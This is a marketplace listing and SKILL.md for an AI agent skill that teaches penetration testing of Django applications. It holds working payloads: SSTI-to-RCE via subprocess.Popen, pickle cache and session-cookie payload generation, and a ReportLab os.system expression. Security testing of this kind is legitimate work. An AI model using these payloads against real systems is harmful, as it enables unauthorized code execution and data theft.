# Django Pentest

> Django security testing and exploitation. Use this skill whenever the user mentions Django applications, web app pentesting, SSTI vulnerabilities, pickle deserialization, session cookie attacks, or Django-specific CVEs. Trigger for any Django security assessment, vulnerability testing, or exploitation scenarios.

- Skill: `abelrguezr/django-pentest` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/django-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/django-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/django-pentest

---


# Django Pentesting Skill

A comprehensive guide for testing Django applications for security vulnerabilities, including cache manipulation, SSTI, pickle deserialization, and recent CVEs.

## When to Use This Skill

Use this skill when:
- Testing Django web applications for security vulnerabilities
- Investigating potential SSTI (Server-Side Template Injection) issues
- Analyzing Django cache configurations for RCE vectors
- Testing session cookie security and pickle deserialization
- Checking for known Django CVEs (2023-2025)
- Performing web application penetration testing on Python/Django stacks

## Attack Vectors Overview

### 1. Cache Manipulation to RCE

Django's default cache uses Python pickles, which can lead to RCE if untrusted input is unpickled.

**Cache Storage Locations:**
- Redis (most common attack vector via Redis injection)
- Memory (locmem)
- Files (FileBasedCache)
- Database (db backend)

**FileBasedCache Exploitation:**

If the cache directory is world-writable or attacker-controlled, you can drop a malicious pickle file:

```bash
# Check cache location in settings.py
# CACHES['default']['LOCATION'] - often /var/tmp/django_cache/

# Test if directory is writable
ls -la /var/tmp/django_cache/

# Generate malicious pickle (use the bundled script)
python scripts/generate_pickle_payload.py \
  --output /var/tmp/django_cache/cache:malicious \
  --command "id > /tmp/pwned"
```

**Database Cache Exploitation:**

For SQLite database cache, use SQL injection to insert malicious pickled data. See the HackerOne report for a reproducible example: https://hackerone.com/reports/1415436

### 2. Server-Side Template Injection (SSTI)

Django Template Language (DTL) is Turing-complete. If user data is rendered as a template string, SSTI → RCE is possible.

**Detection Steps:**

1. **Identify dynamic template rendering:**
   - Look for `Template()`, `Engine.from_string()`, `render_to_string()` calls
   - Check for unsanitized request data in templates
   - Watch for `|safe` or `format_html()` filters

2. **Send test payloads:**
   ```
   {{7*7}}  # Should render as 49 if SSTI exists
   {{request}}  # Confirms SSTI, leaks request object
   ```

3. **Use polyglot probes:**
   ```
   ${{<%[%'"}}%
   ```
   This crashes or renders, proving evaluation.

**Context Exfiltration:**

Even when RCE is blocked, you can extract data:

```django
{{ request.META }}           # Leak headers, cookies, proxy info
{{ users }}                  # QuerySet in context?
{{ users.0 }}                # First row
{{ users.values }}           # Dump all columns (emails, passwords if plaintext)
```

**Primitive to RCE:**

Django blocks `__import__` but the object graph is reachable:

```django
{{''.__class__.mro()[1].__subclasses__()}}
```

Find `subprocess.Popen` index (≈400-500) and execute:

```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```

**Automation Pattern:**

1. Authenticate to the application
2. Grab CSRF token
3. Save marker-prefixed payload in persistent field (username, bio)
4. Request view that renders it (AJAX endpoints like `/likes/<id>`)
5. Parse stable attribute (e.g., `title="..."`) to recover rendered result
6. Iterate payloads

### 3. Pickle-Backed Session Cookie RCE

If `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled, possessing the `SECRET_KEY` enables immediate RCE.

**Exploit Requirements:**
- Server uses `PickleSerializer`
- Attacker knows/guesses `settings.SECRET_KEY`

**Generate Malicious Cookie:**

```bash
python scripts/generate_pickle_payload.py \
  --mode session \
  --secret-key "YOUR_SECRET_KEY" \
  --command "id > /tmp/pwned"
```

Send the resulting `sessionid` cookie to the application.

**Mitigations to Check:**
- Default should be `JSONSerializer`
- `SECRET_KEY` should be rotated
- `SESSION_COOKIE_HTTPONLY` should be configured

### 4. ReportLab/xhtml2pdf PDF Export RCE

Applications using xhtml2pdf/ReportLab for PDF export may be vulnerable to CVE-2023-33733.

**Exploitation:**

User-controlled HTML flowing into PDF generation may evaluate expressions in triple brackets:

```
[[[ import os; os.system('id') ]]]
```

**Test:**

1. Find PDF export endpoints
2. Submit HTML with triple-bracket expressions
3. Check for code execution

### 5. Recent High-Impact Django CVEs

**CVE-2025-48432** – Log Injection via unescaped `request.path`
- Fixed: June 4, 2025
- Patch level: ≥ 4.2.22 / 5.1.10 / 5.2.2
- Allows log poisoning with newlines/ANSI codes

**CVE-2024-42005** – SQL Injection in `QuerySet.values()/values_list()` on `JSONField`
- CVSS: 9.8
- Fixed: 4.2.15 / 5.0.8
- Craft JSON keys to break out of quoting

**Version Fingerprinting:**

```bash
# Check X-Frame-Options header
# Check /static/admin/css/base.css hash
# Use the bundled script
python scripts/enumerate_django_version.py --target https://target.com
```

## Testing Workflow

### Phase 1: Reconnaissance

1. Identify Django application
2. Fingerprint version
3. Map endpoints and functionality
4. Check for PDF export features
5. Review cache configuration if accessible

### Phase 2: Vulnerability Testing

1. Test for SSTI with arithmetic payloads
2. Check session cookie serialization
3. Test cache write access
4. Probe for known CVEs based on version
5. Test PDF export endpoints

### Phase 3: Exploitation

1. Use appropriate payload based on vulnerability
2. Generate pickle payloads for cache/session attacks
3. Chain SSTI to RCE if possible
4. Document findings

## Scripts

### generate_pickle_payload.py

Generates malicious pickle payloads for cache or session cookie attacks.

Usage:
```bash
python scripts/generate_pickle_payload.py --help
```

### enumerate_django_version.py

Fingerprints Django version from static files and headers.

Usage:
```bash
python scripts/enumerate_django_version.py --target https://target.com
```

## Safety and Ethics

- Only test applications you have authorization to assess
- Document all findings for remediation
- Use non-destructive payloads in initial testing
- Report vulnerabilities responsibly

## References

- Django Security Releases: https://docs.djangoproject.com/en/stable/releases/
- CVE-2025-48432: Django 5.2.2, 5.1.10, 4.2.22
- CVE-2024-42005: SQL injection in JSONField
- CVE-2023-33733: ReportLab/xhtml2pdf RCE
- Django QuerySet.values(): https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values
- HackerOne Report 1415436: Django cache SQLite exploitation

